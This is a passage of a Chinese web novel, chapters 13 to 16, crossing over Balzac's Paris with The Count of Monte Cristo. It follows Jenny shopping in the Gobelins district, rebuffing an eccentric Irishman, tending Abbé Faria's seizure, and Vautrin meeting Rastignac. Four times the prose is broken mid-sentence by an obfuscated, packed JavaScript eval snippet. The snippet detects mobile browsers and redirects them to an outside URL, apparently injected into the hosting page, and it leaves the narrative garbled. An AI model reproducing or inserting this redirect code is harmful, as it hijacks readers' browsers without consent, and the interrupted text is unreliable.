流莺瞧着拉斯蒂涅的样子以为他是怀疑二楼的租客与德-纽沁根男爵夫人有染,于是出于好心回道:“我不知道您眼里的英俊标准,但是曾有贵族夫人的马车停在公寓门口。” 拉斯蒂涅只是想为拉人的举动找个台阶,但是听了流莺的话也开始好奇租客的身份:“您能帮我打听到那租客的名字,以及来找他的贵妇到底有谁吗?” 流莺本想拒绝这活,但是对方出手就是二十法郎。 “要是对方问起谁在关注他们,就说是昂古莱姆的拉斯蒂涅。” 这份坦荡反倒衬得流莺的思想极为龌龊:“是我对您抱有偏见。” 拉斯蒂涅好脾气地笑笑,与他在德-纽沁根男爵夫人前的样子判若两人。 “对了,我还没问你的名字。” “芳汀。”流莺走前不自然道。 ………… 葛勒南街的来信让伏盖太太回去数着自己的积蓄:“算了,舍不得孩子套不住狼。” 她如是地安慰自己,还是慢了珍妮一步。 “三楼的博林小姐呢?” 扑空的伏盖太太不断拨着兜里的法郎。 “出去购物了。”胖厨娘西尔维在拿过高达一法郎的跑腿费后就一直盯着三楼的女客:“您说过要自备餐具。” “是的,我是说过这种话。“伏盖太太庆幸于她不必花钱讨好对方:“晚上给她加点鸡肉。” 不必雇主额外嘱咐,西尔维也会给珍妮吃点好的。 “对了,博林小姐上哪里买东西?” 胖厨娘的脸色微微一变。 彼时的巴黎可不算是太平地方,至少很多旧城墙……尤其是是圣-玛梭城关外的地盘都不太稳定,充斥着被警察忽略的暴力混乱。 伏盖太太不知道这博林小姐跟葛勒南街的斯帕达家是什么关系,但是为了保险起见,她可不想斯帕达家的马车明日在这儿接不到人。 “不行,我得让克里斯托弗(公寓的男仆)出门瞧瞧。” 好在她们前脚找到做零工的克里斯托弗,后脚就见珍妮抱着纸袋走进公寓客厅,甚至还用空余的手向三人示意:“难怪没在客厅见着一个人影。” 克里斯托佛很有眼色地替珍妮分担累赘。 “我买了套银质餐具,然后又买了半份‘汉卡贝根地’(一种用茄子和羊肉制成的土耳其菜)。” “对了,你们要吃软糖吗?我在附近的奥斯曼餐馆买了点榅桲软糖。”珍妮还是看《纳尼亚传奇》时才知道这款土耳其零食,于是借着买东西的便利将童年的遗憾彻底了结。 伏盖太太本就抠门,所以她的厨娘男仆哪有钱买软糖解馋。 西尔维毫不客气地抓了一把。 伏盖太太和克里斯托佛一个碍于自身脸面,一个手上有东西仅挑些尝尝。 “您不吃吗?”觉得自己太贪婪的西尔维想找台阶下。 “吃着有点甜过头了。”珍妮不免叹了口气:“基督山伯爵在奥斯曼呆过……我是想投其所好。” “您真是个贴心的姑娘!“西尔维干巴巴道:“伯爵大人是个绅士,而他父亲又是以虔诚闻名的教士,不会计较您这淑女送了什么。” “对,说的很对。”伏盖太太一边应和,一面朝西尔维瞪了眼:“你这榆木难得说了句正经的话。” 珍妮懒得理会她们。 榅桲软糖和汉卡贝根地的效果非常明显,本就对她十分殷勤的伏盖太太眼下更是把她当成正经公主,甚至答应晚上给她提供热水好好休整。 “对了,公寓里有剩余的蜡烛吗?”珍妮清理买来的东西时居然忘了最重要的赶稿用品。 伏盖太太正愁没有讨好的机会,闻言立刻打包票道:“这点东西哪还需要您来准备?我马上让西维尔给您送来。” 末了,还不忘特别强调:“是免费的。” “谢谢。”珍妮露出“我明白”的表情,让伏盖太太心花怒放。 晚餐有了珍妮的资助自然无比丰盛。 伏盖太太一直都在奉承珍妮,而吃到加菜的房客也说珍妮的好。 “好吧!公寓在送走一堆夏洛克(《威尼斯商人》里的富豪)后,终于迎来慷慨大方的克里奥佩特拉。”某个喝得醉醺醺的房客在上楼时含糊不清道:“敬伏盖公寓的克里奥佩特拉。” 他差点把秽物吐到扶他上楼的克里斯托佛的身上,惹得对方气急败坏地要他赔偿几生丁的洗衣费。 珍妮对此毫不在意,而是拿着蜡烛回房,顺带想起购物时所遇到的落魄老人。 “好吧!巴黎可真是卧虎藏龙。”一心二用的珍妮随口嘟囔:“连个乞丐都出口成章。” 13.第 13 章 让我们把时间拉回到珍妮出门买餐具前。虽说巴黎还不至于懒政到连圣-玛梭城关前的边缘区都不会细察,但是踏到意大利广场那儿,出门不被四个小偷摸过钱包都算你是在白日做梦。 环境如此,珍妮自然不敢怠慢——她找总是徘徊在她房门口的厨娘买了一条围裙,然后用别针将那对准罩裙的口袋缝往腹前挪挪,保证小偷一伸手就扑了个空。 “也许我该把钱藏在鞋子里。”收拾好的珍妮把买围裙时一并借着的腰饰挂上。出门在外,总不能把匕首带上,但也不能空着手去拉丁区和日后会成唐人区的边缘地带,这也是像西尔维般手头很紧的妇女会有带刀腰饰的主要原因。 思来想去,珍妮还是没有把钱藏进鞋里,而是用胸针勾着装钱的袋子藏进大草帽里。 “等等,要是被人抢了帽子那就彻底完了。”珍妮的手刚摸到门把就立刻缩回,着急忙慌地将帽子里的钱袋拿下,最后别进枢椎处到锁骨那儿有一排扣子的短斗篷里。 为免有人看出端倪,珍妮还在带裂缝的镜子前反复调整胸针的位子,确保垂下的斗篷帽能挡住钱袋的大致轮廓。 准备好的珍妮出门撞上再次路过三楼走道的西尔维,后者拧着短胖的手指思考着要如何解释她会在那儿:“我……我……” 珍妮有点后悔在这儿穷装大款:“我晚上要给人写信,麻烦你在晚饭后给我带杯加奶的咖啡。” 说罢便从兜里掏了几生丁给没打空军的西尔维。 “好的,小姐,您真慷慨。”西尔维把珍妮送到公寓门口,盘算着去伏盖太太的房里搞些埃塞俄比亚的咖啡。 除了接近圣日耳曼区的中产小道,拉丁区的东部还有各式各样的波兰人,意大利人,爱尔兰人和奥斯曼人。彼时的巴黎还没有被奥斯曼男爵重新规划,所以在拿破仑的大改革下,日后会修唐人街的戈布兰区(十三区)成了移民的聚集地,同时也在工业革命的大驱动不断推着无产阶级的机灵鬼从“伦敦味”的戈布兰区搬入能见天空一角的文艺中心(这里指聚集批艺术家的拉丁区)。 “只要您不介意东西曾被乞丐或是染梅毒的妓|女用过,去北城门区贫民窟买是最划算的。”克里斯托弗是伏盖公寓里的百事通。虽然能在这里住下的小中产比戈布兰区的工人还要抠上几分,但总有像古的太太或伏脱冷(《高老头》里的逃犯,在《交际花的兴衰史》里有重要戏份。)般的慷慨者让克里斯托弗赚个差价:“当然,您要是愿花五法郎,伏盖公寓的万事通任您差遣。” 他这话只说了一半,客厅里便传来破音的怒吼声:“克里斯托弗!晚上的柴火怎么还在后院堆着没劈?该死的!我难道是花钱请你来当爵士?” 上一秒还苍蝇搓手的克里斯托弗下一秒就耷了眉头,骂那活似一坨烂肉的伏盖太太舍不得给工人的价却把他当成奴隶使:“好吧!小姐。伏盖公寓的万事通被伏盖公寓的老妖婆叫走前再给您道贴心提示。” “您若是如雅克·科尔(查理七世的经济顾问,以庞大的积蓄支持法国征服诺曼底)般的富有者,大可以去名流聚集的市政厅场体会啥叫两手沉沉地来,两手空空地去,但您要是想买干净的一手物或不想有人把您当成乔装的流莺,就只能去新老爷想搬到别处的中央市场。” 说罢他还耸了耸肩:“巧合的是,巴黎大堂的中央市场和市政厅区的高级店铺相聚不过两三条道,说是毗邻也不为过。往好的地方想,你在那里落水的概率远低于在北城门区的贫民窟被人割喉。” 寻常的姑娘听到这话早就吓得面如土色,但是珍妮除了一本致敬马丁的架空之作,还在构想侦探小说:“北城门区闹过命案?” “嗨!何止是命案,那简直是……” “克里斯托弗!!”熟悉的尖叫再次传来:“你到底死哪里去了。” 难得能在小年轻前炫耀自己见识不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534121|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡的克里斯托弗转身吼道:“知道了!马上来。马、上、来。” 再回头时,他的表情差点吓到想听奇闻的菜鸟作者:“这老巫婆!不好意思,小姐,咱晚饭后偷偷聊。” 彼时传来宣告下班的公共钟声。 “好吧!小姐,您只能去圣-玛梭城关的跳蚤地碰碰运气。”克里斯托弗很遗憾道:“就是花上五法郎让最好的车夫快马加鞭到中央市场,您也只能挑人剩的。” 爱德蒙虽给了珍妮一袋法郎做周转之资,但是出于某种原因,她还是想先把自己的积蓄用完。 “瞧见那个小姑娘没?赶紧跟上?” 珍妮在人流较多的大道上拦下一辆公共马车,殊不知一停在附近的私人马车跟上她到人声渐涨的跳蚤地。 付完车费的珍妮懊恼自己会跟克里斯托弗聊到下班的钟声响起。 除了几个包头巾的摆摊老人,市场的道上还有几家正经支起小货铺的工头家属与清出前屋做黄昏超市的本地房主。 东西都是中央市场的残次品或工人自用的二手物。精明的女工很少为了图方便在这里购物,相反,她们多是合资批了北城门区的东西在圣-玛梭城关下的小市场赚个差价,这也导致本地的商户大为不满——因为顾客就是为不买末品才会在这儿退而求其次,你现在用北城门区的末品在这儿赚个差价,岂不是把本地的招牌砸得稀烂? 面对同行的滔天怒意,女工们也甚是委屈:“都是捡人剩下来的,怎么连这也要分个高低贵贱。” 愤怒归愤怒,但总有想挤出时间去附近喝酒的单身汉与忙得连个可使唤的孩子都进工厂的主妇愿意关照女工的小生意。 “你们可真是杞人忧天。”某个爱在这里晃悠的神父对商户们争斗嗤之以鼻:“那些不上北城门区的小资产也不会光顾地摊的东西。” 好嘛!这下不想女工在这儿赚差价的商户全把矛头对准溜达的神父。 14.第 14 章 除了以基督山伯爵的名义在最显身份的葛勒南街买下曾属社交皇后的豪华宅邸,爱德蒙还借着马赛的渔夫身份买了栋在戈布兰区的三层公寓,然后将一楼作为待客厅和餐厅、厨房,二楼作办公室,三楼才是他与神父的私人区域。 比起每天邀请不断的豪华宅邸,这栋公寓倒是更合法利亚神父的江湖脾性,所以他在葛勒南街打造了个深居简出的伯爵人设,然后跑到戈布兰区享受生活。 “这群异端!” 戈布兰区算是较早的移民区,所以在拿破仑前,这里的移民主要是逃难来的德国人、比利时人、波兰人、意大利人。 因为祖上的种种矛盾,这群人在戈布兰区形成了令旁观者啼笑皆非的动态和谐——新教信仰的德国人被骂异端;祖上阔过且现在也阔的比利时人和德国人看不起已费不拉几的意大利人和波兰人;常年处在防御一线的波兰人骂西欧全是不知感恩的白眼狼,一届届的皇帝、国王开了成吨的东征发票,结果就他拉着南方的匈牙利在望眼欲穿,结果还被盟友被刺;意大利见三方吵得如此激烈,也是难掩与生俱来的种族天赋,配合手势把几世纪前的罗马仆从骂了个遍。 然后就被三方殴了。 不过比起族裔间的相互开炮,来自警察的威胁才是最可怕的。 好在这种迷你欧洲的动态和谐很快就被现实打破——大批信仰伊|斯|兰教的北非人让移民区的警察得以摸鱼,然后像看八点档般看着虔诚的新教徒或天主教徒试图感化打了百年的异教徒们。 而这又以虔诚不绝对就是绝对不虔诚的爱尔兰人为之最。 作为大英的“白人殖民地”,爱尔兰能得到外界的帮助理由除了大英的名声太臭,就是它在几世纪的被殖民里几乎是靠宗教维持民族核心。可以说,爱尔兰人的一生都与教堂绑定,这在他们离开故土,如蒲公英般散落各地后也不会有太大改变。 所以在关于信仰的小战争里,最激动的不是距离教皇最近的意大利人,而是人数少的几乎不成族区的爱尔兰人。 至少在珍妮对比哪家的餐具卖得更便宜时的,搭讪她的全是一口爱尔兰腔的奥尔(指爱尔兰的姓氏多以O’开头,意味“某部”或“某家族”的),连意大利的“罗马牧师”(暗指意大利的两大姓氏来源于拉丁语的“罗马“和“牧师”)都很少见。 “先生,我能问您一个比较冒犯的问题吗?”事不过三的珍妮在又遇见个棕红头发的高颧骨时忍无可忍道:“您是怎么看出我是不信者?” “……小姐?我是人,不是神,辨别信徒的方式连耶稣都不知道。”因为珍妮听到动静便对其发难,所以不知卡在她的爆发点的不是牧师,而是一个脑子有坑的旅法绅士。 对了,针对以上的古怪形容,请把重点放在脑子,而绅士的衣着印象。 当然,以对方的族裔而言,绅士也非什么好词,就差直说他是“爱奸”。 头发梳得油光锃亮的爱尔兰人蹙着眉毛,随即又舒展开来,然后又深深拧起:“我打扮得很像神父?” “……不是,是之前搭讪我的都是神父。”珍妮的脸在红温后快速降温:“抱歉。” 爱尔兰人好脾气地笑笑,这让珍妮越发后悔嘴比眼快的无礼之举,“凡事都要循序渐进,比起操刀的德国屠夫,肯定是从你这样的淑女入手更为稳妥。” 他将珍妮打量了番,很好奇像她这样的年轻姑娘居然会是不信者:“能冒昧地问下您是法国人吗?” “不是。” “那难怪了。”爱尔兰人的眉毛相当灵活,颦蹙的速度快得令人难以招架:“那您是德国佬?” “也不是。”考虑到在□□前就存在数代的爱尔兰人铭记英王的大缺大德,珍妮不想到了异乡还不大好过:“我是英国人……来这儿是为投奔亲戚。” “不好意思,不知道你……”换做一个爱尔兰姑娘在此,珍妮的招数便没有意义:“你在英国没有亲属?” 这话简直是句废话,但是除了废话也没别的话能接下一句“我是来这儿投奔亲戚”难不成要对她说“那真是可惜?”。 “有,但是在我堂兄继承父亲的遗产后,他建议我投奔逃到奥地利的法国外祖。 “……标准的英国做派。”爱尔兰人干巴巴地评价道:“不过一个法国人往奥地利跑……” “挺魔幻的。”珍妮接下他不便在自己面前说的话:“考虑到反法同盟跟哈布斯堡、波旁的恩怨情仇,逃到对家的大本营也确实显得挺魔幻的。” 对方被这辛辣的语调逗得哈哈大笑:“小姐,您要是这么说的话那全天下就没有欢迎法国佬的地方。” 珍妮:“……这话您在戈布兰区说说就好,可别跑到拉丁区或……” 对方抬起右手掌让珍妮停下:“小姐,我们见面不过半天,您可别把我当儿子。” “好吧!那让我们回到原点。” 提铃铛的公告员摇了一路,通知各区的点灯人赶紧干活。 珍妮还想去买明日的见面礼,所以向对方表达请辞之意:“我没钱花五生丁请提灯人送我回家。” “没事儿,我不介意稍你一程。”对方似乎没听懂她在说什么:“我会找您主要是想问您一件很重要的事。” “什么事?” “您介意和北非人谈恋爱吗?” “……” 珍妮的脸上一片空白,过了许久才找回声音:“不好意思,我刚才没听清你的话。” 如果不是形象不许,珍妮很想掏掏耳朵,确定自己没有幻听:“你把你刚才的话再说一遍。” 饶是他被作者提示脑子有坑,也能听出珍妮的语气不算友善:“我从阿尔及利亚买了二十的摩尔人想改善老家的人民体质。” 珍妮很想发出一声代表听懂的长哦,但又很快意识到这里头似乎有啥不对:“我又不是爱尔兰人,而且你在法国询问女性是否介意嫁给北非人是什么意思?你要问也应该是问爱尔兰人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545453|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说罢便用“你不会是欺软怕硬”的探究眼神打量着与英国佬一般无二的爱尔兰人:“我瞧您也非富即贵,怎么想着跑到海外实现改善老家人种的宏图伟业?” “哦!我原本是在老家安排他们娶妻,但是我的佃户不懂我的苦心,抄起草耙就想往我身上乱戳。” 珍妮:“……” “先生。” “嗯?” “你介意用脸颊亲吻我的巴掌吗?” 珍妮的语气十分柔和,符合世俗对美丽少女的刻板印象:“这是新型的调情方式,我们称之为SM。” “噗!”一声轻笑让难掩怒色的少女和不知所措的爱尔兰人同时找到转移注意的绝佳靶子,只见一个外套活似破布袋的老者踉跄上前:“看来您对马奎斯-德-萨德的理念小有研究。” “马……咳咳咳!”爱尔兰人羞得脸颊沸腾起来:“你个姑娘怎么能看萨德的作品?” 这话可是激起着珍妮的好胜心:“我个姑娘怎么不能……?” 这下不仅爱尔兰人眼神古怪,就连莫名插|入话头的老者都用咳嗽掩盖珍妮的发言,提醒她要三思而行:“您对萨德有何见解?” “……” 什么是萨德?英语里的sadism,虐待狂,就是从萨德的大姓演变而来。 作为能让拿破仑和波旁达成共识的侯爵大人,这人的半生不是在监狱悟道,就是在精神病院继续悟道。 上学时的珍妮还想拜读“性|虐祖师”的遗世之作,奈何她的能力有限,只是读了入门版的《淑女的眼泪》就读不下去。 怎么说呢! 跟萨德的作品相比,《基督山伯爵》和《人间喜剧》堪称童话。 珍妮不知后世流传的“统治阶级比我小说里的人物还要淫|乱”的萨德控诉是否属实,但是站在拿破仑或路易十八的角度,宁可被教廷绝罚也好过遭受这等指控。 “小姐。”老者一副想笑又得维护少女自尊心的难绷脸:“你是从哪儿听说侯爵的……” 瞧这丰富的手部动作,一看就是老罗马的意大利人,“鼎鼎大名。” 珍妮还未想到能去糊弄他的合理解释,就听已经红潮褪去的爱尔兰人替她作答:“这还用问?即使侯爵离世四年,他的大名仍在欧洲如雷贯耳。” 变|态的贵族比比皆是,但是能让开放的法国指责他已越过能用“放|荡主义”进行辩解的实属罕见。 “哦!看来你比这位小姐更加推崇萨德的作品?” “我不是,我没有,你不要瞎说。”爱尔兰人的脸红得像是沸水里的虾子:“我只是批判性地读过没有优美可言的下流之作。” “好吧!那你用批判的态度读过几本?”珍妮听说萨德的作品在正式解禁的两百年内一直畅销于地下世界,所以想趁机验证这种说法:“不会是批判性地把市面上已出版的萨德作品都……” 爱尔兰人逃也似地转身离开,连句“小姐再见”都来不及说。 15.第 15 章 “也许我该去趟教堂。” 遇事不决,求助玄学。 离谱的事情见得多了,珍妮自然想去本地的寺庙拜拜。 “你现在去教堂可没人会为你开门。” 好好的街道被木板车、面包车,以及助力交通红温的摊贩挤得水泄不通,光是走这一小段路,珍妮就被肩上搭着破围巾的妇女与瘦得只剩一把骨头的小孩摸了不下五次,差一点就被金币。 也就是在这个时候,她嘀咕着要找欧洲的本土神求个心安,下一秒就肩上遭人轻轻一拍,转头看见刚才的老人冲她一笑:“我有熟人可以帮你。” 即便不以最大的恶意揣测对方,但是你在这个时候说能带一刚见面的少女前往关门的教堂,属实是让珍妮自动脑补出了不妙之景,“我想我能避免今晚打扰某位不幸的神父。” “放心吧!小姐。没有你的打扰也会留下个被商户打得辗转反侧的不幸神父。”老人挤到珍妮身边,瞧着瘦小却是分外有劲。 珍妮分出一点心神去打量老人,发现他把衬衣的扣子全部扣紧,洗过多遍的领子搭在脖颈两侧,好似被那大雪压弯的松树想要支棱起来。 老人也是没法忽略珍妮的打量,干脆自曝他的来历:“鄙姓帕斯托雷,是路易.汤德斯的家庭教师。” “意大利人?”珍妮已经猜到他的真实身份:“恐怕您还是个神父(帕斯托雷源于拉丁语的神父“pastor”)。” 不知自己已掉马甲的法利亚神父很意外道:“你会拉丁语?” “不。”珍妮的表情相当严肃,严肃到让法利亚神父以为刚才说跑一个爱尔兰人的不是珍妮:“我只是在卖弄自己浅塘般的学识。” 她看神父好似在看人形自走搜索库。 “是吗?我瞧你的口才很好,脑子也比很多人都更为灵光。“法利亚神父笑呵呵道:“知识可以慢慢学,但能运用有限的知识来武装自己是很难得的。” 珍妮突然凑过脸道:“神父!” “嗯?”得亏已经在波澜壮阔的十八世纪练出一颗钢铁心脏,否则神父还没等到蜡屈症发作就回归主的宽阔怀抱。 “你可真是意大利人。”珍妮想到无意撩人的爱德蒙,觉得他与法利亚神父真是无血缘的亲父子。 都不用做亲子鉴定和自我介绍的那种。 “和法国人般张口就能哄人开心。” “哦?那我猜和我一样会哄人开心的法国人一定是个来自马赛的帅小伙。”法利亚神父上神学院时,拿破仑才刚出生,珍妮的把戏在他面前也就是个入门水平。 法利亚神父的戏谑眼神在珍妮脑中自动译成“调皮”二字,搁得珍妮眼神游移。 “对了,你看萨德的作品是为……” “咳咳咳!” “咳!” 珍妮刚想开口说话,法利亚神父便脸庞涨成了猪肝色。 “神父?“ “神父!“ 眼看对方哆嗦着双腿弯曲,随时准备瘫软在地,珍妮生怕他被路过的马车碾成一摊肉泥。 法利亚神父的瞳孔被顶到他的上眼皮里,嘴角的弧度越来越小。 周围的喧嚣就没停过。 许多人仅看了眼就继续叫卖,唯独一个妇人撩起地上的摊位让珍珠过来:“你可别在那里站着,赶紧扶他过来躺下。” “哦!” 反应过来的珍妮架着法利亚神父的右臂转到靠近中央的那一侧。 过往的马车溅起泥浆,更有一个怒路症往着珍妮的背上抽了一鞭。 “臭娘们别挡着道。“ “嘿!“催促珍妮把人扶来的妇人“噌!”站起身来,抄起手边的家伙就向对方掷去:“还是头次见到畜生使唤畜生。” 然而她向对方掷出的东西以及怒骂声都没有伤到对方车尾,反倒是把好事的酒鬼惹到这儿来。 “你这……” 坐着的妇人后背佝成半圆弧度,然后被一展开的披巾包得像个干巴老太,但是当她站起来时,五尺八的身高与粗壮的骨骼,隐藏在由披肩撑起的阴影下的丑陋面庞让好事的酒鬼缩脚冲着前方怒骂:“咱们兜里还有些钱,可以找个流莺快活。” “谢谢。”珍妮忍着背部的疼痛让法利亚神父靠着墙角躺下。 彼时的神父还在抽搐,珍妮只能寄希望于神父带着急救药。 “上帝啊!好歹这时干点活吧!”珍妮把法利亚神父的口袋几乎摸了个遍,表情愈发绝望起来。 “小姐,你得先让他躺下。”轻佻的声音从背后传来。 珍妮还未转头便被恶臭熏得起身与他拉开距离。 “嘿!你这样可真是伤透善良的心。”出面的人有肌肉隆起的宽阔肩膀与指节长着棕色汗毛的粗粝双手。 他身材高大,面容冷峻,换身衣服就能去演西部片里的神射牛仔,怎么瞧都不像是要沿街讨饭的。 那人瞧着十分粗鲁,扶着神父慢慢躺下的动作却是十分轻柔。 珍妮不敢这时去显自个儿能耐,只能祈求神父可以度过难关:“他是否能乘坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550329|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车?” 眼下她也顾不得把爱德蒙或自己的秘密彻底撞破。 “怎么,你知道他住在何地?”救人的乞丐眼里闪过不明光芒,但又很快忍耐下来:“比起把他送回家去,我劝你向上帝祈祷来的更为稳妥。“ 末了,他还不忘给个主意:“要不你出一法郎雇我把他的医生请来。” 人命关天,珍妮刚想答应对方,就被一个黑斗篷给打到胸口。 “让开。” 把法利亚神父平放下的乞丐瞧着不好相处,结果这时又来一个黑漆漆的大蝙蝠。 原谅珍妮如此形容主动帮忙的第三个人,但是他的出场可比德古拉伯爵还要拉风…… 也更显得阴森森且不近人情。 “蝙蝠”捏着神父下颚塞进药丸。 珍妮刚想问他喂了什么东西,就被对方预判动向的眼神钉在原地不动。 之前出手的男人见此打哈哈道:“那句话是怎么说来的?误解与偏见,往往会在世上铸成比诡诈与恶意更多的过错。” 蝙蝠般的男人完全没有领情的意思,反而对这递出的台阶大肆嘲讽:“下次请用更好的例子来安慰一个脑袋空空的笨拙小姐。” “歌德的作品还不算好?” “那得看是什么时候的歌德作品。”蝙蝠的声音又冷几度,同时也让珍妮对他感官更差:“女仆的读物也不好做教育范本。” 谁料一副粗鲁样的乞丐不仅没有生气,反而还很好脾气地笑笑:“那这女仆可真富有,居然有空买书读书。” 珍妮瞧了这人一眼,猜他出自何人笔下,或只是个纯粹的路人。 …… 好心的路人? …… 蝙蝠般的男人捕捉到了珍妮的视线,将出口的嘲讽在喉头拐弯,沿着鼻腔重重滑出。 谢天谢地,那人的药丸好似阿斯克勒庇俄斯(古希腊医药之神)亲自搓的,法利亚神父很快抬起眼皮去认围在身边的各色面庞。 “是你啊!” 他朝着已准备离开的“蝙蝠”颔首:“难得见你跑到这儿来。” “我想以您关照我的作品频次,还不至于让我闲得能用双腿横跨四区。”这人来时像个蝙蝠,去时也像睡醒的蝙蝠开始捕猎。 “要我说他就是需要小偷治治。”帮忙的妇人收起摊子,表情那叫一个嫌弃。 “是啊!”粗鲁的男人也是垮下笑脸狠狠骂道:“希望他被割了斗篷(这里指巴黎没有修路灯时,小偷会割富人的斗篷拿去卖)。” 16.第 16 章 黑漆漆的大蝙蝠是一走了之,但法利亚神父却不能离了珍妮搀扶。 “得,先把您送回家吧!”珍妮本想买点明日的见面礼,此刻也是果断放弃:“您能走不?” 这里距离通畅的路道还有一段距离,公共马车是不会往这儿使劲挤的,所以珍妮看着神父尝试挪动僵直的双腿:“有感觉吗?” 法利亚神父很努力地不拖后腿,一手扶着油腻的墙壁,一手去掰微微颤抖的右大腿。 “先生,您能帮我送下人吗?”珍妮决定求助于人:“放心,绝不让您白干活。” 乞丐倒是乐于赚钱,就是他这沁人心脾的味道让人属实绷:“您得考虑公共马车的乘客是否许我同乘。” “扶到便于搭车的地点就成。”珍妮不知爱德蒙在巴黎有几座宅子,几个身份,但是为了照顾患有蜡屈症的神父,他肯定是雇了不少医生在家:“麻烦您了。” 爱德蒙的钱袋终于有了用武之地。 珍妮付了五法郎给出手相助的摆摊妇人,后者咬着不算旧的硬币笑得一脸朴实:“难怪上帝要信徒为善。”她在巴黎卖了两天的破烂也就挣五法郎。 乞丐瞧着珍妮的手臂也是好奇她的真实身份。 “这个给你。”付完妇人的辛苦费后,珍妮也没忘乞丐。 爱德蒙给珍妮的钱袋少说也有三百法郎。 乞丐和那出手相助的妇人一般咬着钱币确定没有弄虚作假。他的眼睛非常敏锐,即使隔着脏乱的头发也能看出布袋里的实力非同寻常。 这娘们到底什么来历? 乞丐跟了珍妮一路,对她评价也在“装模做样的骗子”、“体验生活的大小姐”与“家道中落却找到靠山的大贵族”间反复横跳。 【反方向的凯瑟琳(指凯瑟琳-德-美第奇,洛伦佐二世的独女,法兰西王后,于父母去后由身为教皇的叔祖监护。美第奇家是商人上位的成功典范,而凯瑟琳-德-美第奇与亨利二世的婚姻就是意大利与法国反抗哈布斯堡的条件之一。这里把珍妮比作凯瑟琳是怀疑她被亲戚当成利益棋子,因为在第一次工业革命后,不少商人为了“洗血”而与贵族联姻,甚至像德-鲍赛昂子爵夫人的情敌般倒贴一笔巨额嫁妆)。】 【就是不知哪家的教皇昏聩至此,放任家里的小侄女在这里晃悠。】 珍妮得用肩膀扛起法利亚神父的半个身子,但乞丐只用一条胳膊就能将其牢牢扶稳。 【隔夜的肉票全是死的。】 乞丐不信能让闺女带着至少一百法郎的零花钱上戈布兰区的家族会让小偷、乞丐、巴漂的艺术家或移民□□将闺女绑去。他一直在观察附近是否在暗中保护珍妮的人,直到他把法利亚神父扶上味道不比他这乞丐强上一星半点的公共马车,也没一个行动可疑,半个身子都缩在墙后的侦探出面跟上对方。 “太奇怪了。”乞丐目送灰不溜秋的公共马车点颠簸而去,回到临时的落脚处把破烂的外套丢给隔壁的小乞丐们:“送你们了。” 他用清水抹了把脸,三指成梳将头发胡子打理干净。 ………… 德-纽沁根男爵夫人简直就是个无底洞。 拉斯蒂涅从赌场里骂骂咧咧地出来,想抽烟却忘了已把烟盒输在最后一把。 “要是你能听我的话把泰伊番小姐给娶进门,也不至于现在还要赌钱养着别人老婆。”熟悉的声音从背后传来。 拉斯蒂涅回头便见应该在牢里呆着的人正脱帽致意。 十分钟后。 随处可见的小酒馆里,拉斯蒂涅在角落处把外套脱下,露出里头皱巴巴又缝合泛黄的老衬衣。 之前还在戈布兰区到处游荡的乞丐此时换上了副精明能干的包工面孔,他给扭着粗腰过来的女侍付了两生丁的小费,后者见状还想与之发展一段特殊友谊,结果却被换装的乞丐一把推开:“给我来点热咖啡和干面包吧!” 酒店的壁炉烧得不算特别热,但穷困潦倒的艺术家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673160|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与巴黎的赌徒将这儿挤得热烘烘的。 人气是如此强烈,又臭又闷的与咖啡的蒸汽,菜的火气烧得拉斯蒂涅抬眼便见对面的男人把袖子卷起,露出结实的小臂肌肉:“伏脱冷,你也不怕警察把你半路押走。” “这里又没贱人把我药倒后往我的肩膀拍上一掌。”越狱这事儿一回生二回熟,搁在拥有丰富经验的伏脱冷这儿已经超过驾轻就熟:“再者,无利不起早。以前他们抓我还能混点钱花,现在他们抓我没有一点好处。” 说罢他还斜眼瞅着旧衫发黄的拉斯蒂涅:“你要是有我的脑子,就该绑了德-纽沁根男爵夫人或是找她丈夫谈判。” “哈?”拉斯蒂涅简直快被对方气笑:“你是真想上绞台啊!” “这不还没被套上吗?”伏脱冷确定对面过了两年也没长进:“德-纽沁根男爵夫人只是钱不在她自己手上,而不是像德-雷斯托伯爵夫人(高里奥的大女儿,德-纽沁根男爵夫人的姐姐)般连控制权都一并失去。” 